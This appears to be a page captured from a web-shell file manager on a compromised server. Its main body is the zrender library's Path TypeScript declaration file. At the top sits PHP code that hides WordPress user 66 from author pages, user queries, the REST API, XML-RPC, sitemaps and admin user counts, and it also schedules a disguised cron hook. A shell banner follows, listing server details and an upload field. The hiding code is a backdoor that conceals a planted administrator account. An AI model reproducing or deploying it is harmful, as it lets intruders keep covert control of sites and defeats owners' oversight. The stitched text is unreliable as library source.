add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/reef_analytics/node_modules/zrender/lib/graphic/ |
Upload File : |
import Displayable, { DisplayableProps, CommonStyleProps, DisplayableStatePropNames } from './Displayable';
import Element, { ElementAnimateConfig, ElementCommonState } from '../Element';
import PathProxy from '../core/PathProxy';
import { PatternObject } from './Pattern';
import { Dictionary, PropType, MapToType } from '../core/types';
import BoundingRect from '../core/BoundingRect';
import { LinearGradientObject } from './LinearGradient';
import { RadialGradientObject } from './RadialGradient';
import Animator from '../animation/Animator';
export interface PathStyleProps extends CommonStyleProps {
fill?: string | PatternObject | LinearGradientObject | RadialGradientObject;
stroke?: string | PatternObject | LinearGradientObject | RadialGradientObject;
decal?: PatternObject;
strokePercent?: number;
strokeNoScale?: boolean;
fillOpacity?: number;
strokeOpacity?: number;
lineDash?: false | number[] | 'solid' | 'dashed' | 'dotted';
lineDashOffset?: number;
lineWidth?: number;
lineCap?: CanvasLineCap;
lineJoin?: CanvasLineJoin;
miterLimit?: number;
strokeFirst?: boolean;
}
export declare const DEFAULT_PATH_STYLE: PathStyleProps;
export declare const DEFAULT_PATH_ANIMATION_PROPS: MapToType<PathProps, boolean>;
export interface PathProps extends DisplayableProps {
strokeContainThreshold?: number;
segmentIgnoreThreshold?: number;
subPixelOptimize?: boolean;
style?: PathStyleProps;
shape?: Dictionary<any>;
autoBatch?: boolean;
__value?: (string | number)[] | (string | number);
buildPath?: (ctx: PathProxy | CanvasRenderingContext2D, shapeCfg: Dictionary<any>, inBatch?: boolean) => void;
}
declare type PathKey = keyof PathProps;
declare type PathPropertyType = PropType<PathProps, PathKey>;
interface Path<Props extends PathProps = PathProps> {
animate(key?: '', loop?: boolean): Animator<this>;
animate(key: 'style', loop?: boolean): Animator<this['style']>;
animate(key: 'shape', loop?: boolean): Animator<this['shape']>;
getState(stateName: string): PathState;
ensureState(stateName: string): PathState;
states: Dictionary<PathState>;
stateProxy: (stateName: string) => PathState;
}
export declare type PathStatePropNames = DisplayableStatePropNames | 'shape';
export declare type PathState = Pick<PathProps, PathStatePropNames> & {
hoverLayer?: ElementCommonState['hoverLayer'];
};
declare class Path<Props extends PathProps = PathProps> extends Displayable<Props> {
path: PathProxy;
strokeContainThreshold: number;
segmentIgnoreThreshold: number;
subPixelOptimize: boolean;
style: PathStyleProps;
autoBatch: boolean;
private _rectStroke;
protected _normalState: PathState;
protected _decalEl: Path;
shape: Dictionary<any>;
constructor(opts?: Props);
update(): void;
getDecalElement(): Path<PathProps>;
protected _init(props?: Props): void;
protected getDefaultStyle(): Props['style'];
protected getDefaultShape(): {};
protected canBeInsideText(): boolean;
protected getInsideTextFill(): "#333" | "#ccc" | "#eee";
protected getInsideTextStroke(textFill?: string): string;
buildPath(ctx: PathProxy | CanvasRenderingContext2D, shapeCfg: Dictionary<any>, inBatch?: boolean): void;
pathUpdated(): void;
getUpdatedPathProxy(inBatch?: boolean): PathProxy;
createPathProxy(): void;
hasStroke(): boolean;
hasFill(): boolean;
getBoundingRect(): BoundingRect;
contain(x: number, y: number): boolean;
dirtyShape(): void;
dirty(): void;
animateShape(loop: boolean): Animator<this["shape"]>;
updateDuringAnimation(targetKey: string): void;
attrKV(key: PathKey, value: PathPropertyType): void;
setShape(obj: Props['shape']): this;
setShape<T extends keyof Props['shape']>(obj: T, value: Props['shape'][T]): this;
shapeChanged(): boolean;
createStyle(obj?: Props['style']): Props["style"];
protected _innerSaveToNormal(toState: PathState): void;
protected _applyStateObj(stateName: string, state: PathState, normalState: PathState, keepCurrentStates: boolean, transition: boolean, animationCfg: ElementAnimateConfig): void;
protected _mergeStates(states: PathState[]): PathState;
getAnimationStyleProps(): MapToType<PathProps, boolean>;
isZeroArea(): boolean;
static extend<Shape extends Dictionary<any>>(defaultProps: {
type?: string;
shape?: Shape;
style?: PathStyleProps;
beforeBrush?: Displayable['beforeBrush'];
afterBrush?: Displayable['afterBrush'];
getBoundingRect?: Displayable['getBoundingRect'];
calculateTextPosition?: Element['calculateTextPosition'];
buildPath(this: Path, ctx: CanvasRenderingContext2D | PathProxy, shape: Shape, inBatch?: boolean): void;
init?(this: Path, opts: PathProps): void;
}): {
new (opts?: PathProps & {
shape: Shape;
}): Path;
};
protected static initDefaultProps: void;
}
export default Path;